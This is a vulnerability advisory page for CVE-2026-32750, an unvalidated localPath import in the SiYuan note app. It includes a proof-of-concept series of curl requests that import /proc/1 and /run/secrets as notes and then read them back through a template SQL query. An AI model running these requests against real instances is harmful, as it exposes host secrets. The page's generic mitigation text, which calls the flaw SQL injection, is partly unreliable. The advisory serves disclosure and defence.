NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-32750 — siyuan

MEDIUMFix: siyuan-note/siyuan@13b6d3d

CVE-2026-32750 is a medium-severity (CVSS 6.8) Path Traversal vulnerability in github.com/siyuan-note/siyuan. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

SiYuan importStdMd: unvalidated localPath imports arbitrary host directories as persistent notes

Also known asGHSA-rjhh-m223-9qqvGO-2026-4708
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32750.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk+0.01%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk
0.00%0.32%0.65%0.97%0.1%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/siyuan-note/siyuan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.

Details

File: kernel/api/import.go - function importStdMd

func importStdMd(c *gin.Context) {
    notebook  := arg["notebook"].(string)
    localPath := arg["localPath"].(string)
    toPath    := arg["toPath"].(string)

    err := model.ImportFromLocalPath(notebook, localPath, toPath)
}

model.ImportFromLocalPath (kernel/model/import.go:784):

func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
    filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
    })
}

Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.

Chained attack with Bug #1 (renderSprig): Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.

PoC

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

TOKEN="YOUR_ADMIN_TOKEN"

NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
  -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")

curl -s -X POST http://localhost:6806/api/import/importStdMd \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"

curl -s -X POST http://localhost:6806/api/import/importStdMd \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"

curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'

Impact

An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.

Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/siyuan-note/siyuanall versionsNo fix

Affected Products

1 product · 1 configurations
Application
siyuanb3log
< 3.6.1
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of github.com/siyuan-note/siyuan for CVE-2026-32750. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

Frequently Asked Questions

### Summary POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users. ### Details File: kernel/api/import.go - function importStdMd ```go func importStdMd(c *gin.Context) { notebook := arg["notebook"].(string) localPath := arg["localPath"].(string) toPath := arg["toPath"].(string) err := model.I
O3 Security · Impact-Aware SCA

Is CVE-2026-32750 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-32750: siyuan SQL Injection (Medium 6.8)